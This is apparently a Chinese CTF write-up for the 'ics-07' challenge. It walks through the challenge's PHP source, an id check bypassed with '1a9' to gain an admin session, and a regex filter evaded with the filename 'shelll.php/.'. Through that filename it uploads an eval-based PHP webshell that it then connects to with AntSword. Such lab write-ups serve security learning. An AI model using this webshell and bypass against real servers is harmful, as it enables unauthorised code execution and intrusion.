- ics-07 hint:工控云管理系统项目管理页面解析漏洞
- 进入管理页面是个登录窗 左下角有个查看源码
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
- 无论如何 该页面都会让你包含
flag.php文件
- 还有就是 page对应的是项目名称
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
- 对filename用了一个正则过滤
- chdir函数改变当前目录 成功则返回True
- 接着就是像当前目录写入文件 emmmm 我想到了文件上传一句话木马
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
- floatval()返回变量的浮点值
- substr()截取id的最后以为 必须是9
- mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
- 整理了一下思路
- page不重要 主要是上传的id满足要求获取SESSION[‘admin’]=True的权限
- 之后绕过正则表达式进行文件上传一句话木马获取flag
- 接下来就是解题了
- 首先通过第三个函数去获取admin的权限
<?php
var_dump(floatval("1a9"));
?>
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/af3b6f571df84cfa136184aef50f7773.png)
- 获取了admin权限后 要做的就是 前面想到的文件上传了
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
- /.+这个不用解释了吧
- 接着.匹配. 后面匹配ph
- (p[3457])?|t|tml)是个子表达式 匹配p3,p4,p5,p7 pt ptml
- ?匹配前面的字符1次或0次
- |指明两个直接选一下
- $ 匹配字符串的结尾 /i表示不区分大小写
- 所以该正则表达式匹配的是 xxxx.php xxx.php3 xxx.php4 xxx.php5 xxx.php5 xxx.phpt xxx.phptml
- 绕过方式
../filename.php/.
或者filename.php/.
- 绕过原理:文件名中不允许带有/ 因为/表示目录的分割符 在php中,如果保存的文件中含有/ 会自动省略/后面的内容,/后面的.是为了达到匹配最后一个.的效果
- hackbar上传
con=<?php eval($_POST['shell']);phpinfo;?>&file=shelll.php/.
- 蚁剑连接
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/d2d1fda3285da2dc8c74134060f80fae.png)